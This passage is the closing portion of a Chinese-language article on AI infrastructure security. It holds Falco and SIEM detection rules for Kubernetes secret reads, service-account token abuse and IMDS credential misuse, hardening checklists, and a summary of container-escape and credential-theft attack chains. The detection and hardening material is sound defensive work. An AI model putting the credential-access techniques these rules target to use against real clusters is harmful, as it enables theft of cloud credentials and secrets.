- rule: Read Kubernetes Secretsdesc: 检测大量读取 Secrets 的行为condition: >ka.verb=get and ka.resource=secrets andka.req.count > 5output: >Bulk secret reads detected(user=%ka.user.name ns=%ka.req.nscount=%ka.req.count)priority: WARNINGtags: [k8s, credential_access]

6.2 K8s Audit Log 告警规则

"""
K8s Audit Log SIEM 告警规则
使用 Elasticsearch / Splunk / Loki 查询
"""# Elastic KQL 查询: 危险 RBAC 变更
dangerous_rbac_query = """
kubernetes.audit.verb: ("create" or "update" or "patch") and
kubernetes.audit.resource: ("clusterrolebindings" or "clusterroles" or "rolebindings" or "roles") and
NOT kubernetes.audit.user.username: ("system:kube-controller-manager" or"system:kube-scheduler")
"""# Splunk SPL: 特权 Pod 创建
splunk_priv_pod_query = """
index=k8s_audit verb=create resource=pods
| search spec.containers{}.securityContext.privileged=true
| stats count by user.username, objectRef.namespace, objectRef.name
| sort -count
"""# 检测 ServiceAccount Token 异常使用
sa_token_abuse_query = """
index=k8s_audit
(verb=get AND resource=secrets AND resourceName="*token*")
OR
(verb=create AND resource=pods AND requestObject.spec.serviceAccountName!="default" ANDrequestObject.spec.hostPID=true)
| stats count by user.username, sourceIPs{}, verb, resource
| where count > 10
"""# AWS CloudTrail: IMDS 凭证滥用
cloudtrail_imds_query = """
index=cloudtrail
(eventSource=ec2.amazonaws.com AND eventName=GetInstanceIdentityDocument)
OR
(eventSource=sts.amazonaws.com AND eventName=AssumeRoleWithWebIdentity ANDuserIdentity.sessionContext.sessionIssuer.arn="*AIInferenceRole*")
| stats count by sourceIPAddress, userIdentity.arn
| sort -count
"""

7. AI 基础设施安全加固清单

7.1 云层加固

措施 优先级 实施方法
强制 IMDSv2 P0 aws ec2 modify-instance-metadata-options --http-tokens required
最小权限 IAM P0 禁止 *:* 通配符,使用 IAM Access Analyzer
隔离元数据访问 P0 NetworkPolicy 阻断 Pod → 169.254.169.254
启用 CloudTrail P1 全区域日志记录,集成 SIEM
VPC Flow Logs P1 检测异常网络流量
Secrets Manager P1 使用 External Secrets Operator + Vault

7.2 容器层加固

措施 优先级 实施方法
升级 runc ≥ 1.2.8 P0 修复 CVE-2025-31133 系列
升级 NVIDIA Toolkit ≥ 1.17.8 P0 修复 CVE-2025-23266
Pod Security Admission P0 namespace 标注 enforce: restricted
禁用特权容器 P0 privileged: false + allowPrivilegeEscalation: false
只读根文件系统 P1 readOnlyRootFilesystem: true
Seccomp Profile P1 seccompProfile: RuntimeDefault
镜像签名验证 P1 Cosign + Kyverno 策略
禁用 latest 标签 P1 使用 digest 固定

7.3 K8s 层加固

措施 优先级 实施方法
升级 Ingress-NGINX P0 修复 CVE-2025-1974
etcd TLS 认证 P0 --client-cert-auth=true
RBAC 最小权限 P0 禁止通配符权限,禁止 SA 绑定 cluster-admin
关闭 SA Token 自动挂载 P1 automountServiceAccountToken: false
默认拒绝网络策略 P1 default-deny-all
启用审计日志 P1 --audit-log-path + SIEM 集成
部署 Falco P1 运行时入侵检测
定期 RBAC 审计 P2 kubectl auth can-i --list 全量扫描

8. 总结

攻击面 核心威胁 关键防御
云 IMDS SSRF → 凭证窃取 → 云接管 IMDSv2 + NetworkPolicy
runc 符号链接 + masked path 逃逸 升级 ≥ 1.2.8 + PSA restricted
NVIDIA Toolkit LD_PRELOAD → 主机 root 升级 ≥ 1.17.8 + seccomp
Ingress-NGINX AdmissionReview 注入 RCE 升级 + 限制 webhook 访问
etcd 未认证读取集群全部数据 TLS + client-cert-auth
K8s RBAC SA Token → Workload Identity → 云 IAM 最小权限 + 关闭自动挂载

核心原则:AI 基础设施安全 = 云安全 + 容器安全 + K8s 安全 + AI 模型安全的纵深防御体系。任何单层防御被突破都可能导致模型权重泄露、训练数据外泄或整个云账户被接管。


免责声明重申:本文所有漏洞分析、PoC 代码和攻击链复现均基于公开披露的安全研究资料和 CVE 官方公告。所有代码仅用于理解攻击原理以构建防御体系。读者必须在授权的测试环境中使用相关技术,未经授权对任何系统进行渗透测试属于违法行为。作者不对任何因不当使用本文信息而造成的后果承担责任。